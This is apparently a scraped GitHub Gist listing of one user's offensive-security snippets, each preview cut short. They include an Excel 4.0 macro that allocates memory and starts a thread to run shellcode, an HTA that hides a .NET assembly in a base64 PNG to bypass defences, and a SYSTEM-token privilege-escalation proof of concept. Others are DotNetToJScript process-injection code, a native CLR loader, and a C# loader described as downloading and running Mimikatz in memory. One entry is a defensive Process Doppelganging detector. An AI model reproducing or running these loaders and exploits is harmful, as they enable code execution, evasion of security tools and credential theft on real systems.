Skip to content

Instantly share code, notes, and snippets.

@Agahlot
Agahlot / shellcode.xlsm
Created May 28, 2019 14:23 — forked from Arno0x/shellcode.xlsm
XLM (Excel 4.0 macro) to execute a shellcode into Excel (32 bits) - French Macro code
Once Excel is opened, click on the active tab, select "Insert" then "Macro MS Excel 4.0".
================================================================================
Paste this in cells in column A, starting in cell A1:
================================================================================
=REGISTRE("Kernel32";"VirtualAlloc";"JJJJJ";"VAlloc";;1;9)
=REGISTRE("Kernel32";"WriteProcessMemory";"JJJCJJ";"WProcessMemory";;1;9)
=REGISTRE("Kernel32";"CreateThread";"JJJJJJJ";"CThread";;1;9)
=VAlloc(0;4096;4096;64)
@Agahlot
Agahlot / honeybadger.hta
Created May 24, 2019 09:20
HoneyBadger PNG - .NET Assembly Bypass
<html>
<img id="HoneyBadger" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABAAAAAKtCAIAAAA2LYveAAAACXBIWXMAAA7zAAAO8wEcU5k6AAAAEXRFWHRUaXRsZQBQREYgQ3JlYXRvckFevCgAAAATdEVYdEF1dGhvcgBQREYgVG9vbHMgQUcbz3cwAAAALXpUWHREZXNjcmlwdGlvbgAACJnLKCkpsNLXLy8v1ytISdMtyc/PKdZLzs8FAG6fCPGXryy4AAovrklEQVR42ty9i5bjSJIsFgGAZGZWVnX1vFa60tmj/z/6CR19ymp1R3dmerrrkZl8ACFztwiH40kwM6tnJW5PLZMEgXghYO5ubh7/z//jfw8hxOELn1RVFeZedZBvU0r2iX8/ffFs09fSr6qY1o+fXLqz9/yK/3ZdZ+8H/3Yn+9NeK5eIYTfbWfbLfm7dvHQt39tI2ldx8uL5l8Z/cFg5Cfu1MBRz81Kt9W7uPNG3x/d0dl7asDb76/M4bfP0yLbM49Jho3a2C+ttaR0uvTDO/if9RLcd3nT6Gk3c7Hl27vM4eT9dnzzlaApWzhAXzs8/67qu9GVfHbt73Nl1HSv8l7q2O3btpW3P6A5WirShi2WkZQdomtPsDdK27agB/PZY53VbxUav3OjVK/7ZNHv8o8s+H3Zpa54BDcA5bXnjYH9z8b1OyvPlcsF7fti2id3UraPe6atpGn6FI4/P3/EnD8D5tUfywq9affFU1oUmHvNC0hdbUsurmV9XOhQ8Unpdc6m0bD+6Jf/Grp/xC4elYpfxwsHlXN1wPejnqSlLBWfBDFW4QVOsOu7DEbPI3kXsPDjb8dxyQPDv+Xw+nS7YsXe7g05nbJrdfr9v6n3u/uXy9PKNS/3u7u5wOKCvGDR88/z8HEOtUyYvncQaDau6c3kSVFxdsmGkqk3dk77w+ePj44cPH5qd7JzpdNQ+5hfOjFbhX1xOxrSRUcUnuNzxeMSlcSg+5ySi
function Get-Doppelgangers
{
<#
.SYNOPSIS
Detects use of NTFS transactions for stealth/evasion, aka 'Process Doppelganging'
Author: Joe Desimone (@dez_)
License: BSD 3-Clause
After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)
These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.
Basic gist after running PS script statements:
- Loads C# project from file or web URL
- Create various tmp files
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"]
@Agahlot
Agahlot / getsystem_parent.cpp
Created October 8, 2018 06:19 — forked from xpn/getsystem_parent.cpp
A POC to grab SYSTEM token privileges via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#include "stdafx.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR Privilege, BOOL bEnablePrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
TOKEN_PRIVILEGES tpPrevious;
DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);
if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;
@Agahlot
Agahlot / Inject.cs
Created September 5, 2018 06:54
DotNetToJScript Build Walkthrough
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public class TestClass
{
public TestClass()
{}
@Agahlot
Agahlot / Inject.cs
Created August 30, 2018 08:00 — forked from jackson5sec/Inject.cs
DotNetToJScript Build Walkthrough
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public class TestClass
{
public TestClass()
{}
@Agahlot
Agahlot / clr_via_native.c
Created April 26, 2018 16:55 — forked from xpn/clr_via_native.c
A quick example showing loading CLR via native code
#include "stdafx.h"
int main()
{
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
ICLRRuntimeInfo *runtimeInfo = NULL;
ICLRRuntimeHost *runtimeHost = NULL;
IUnknown *enumRuntime = NULL;
LPWSTR frameworkName = NULL;
@Agahlot
Agahlot / netkatz.cs
Created September 17, 2017 17:15
Downloads and Executes Mimikatz In Memory From GitHub
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;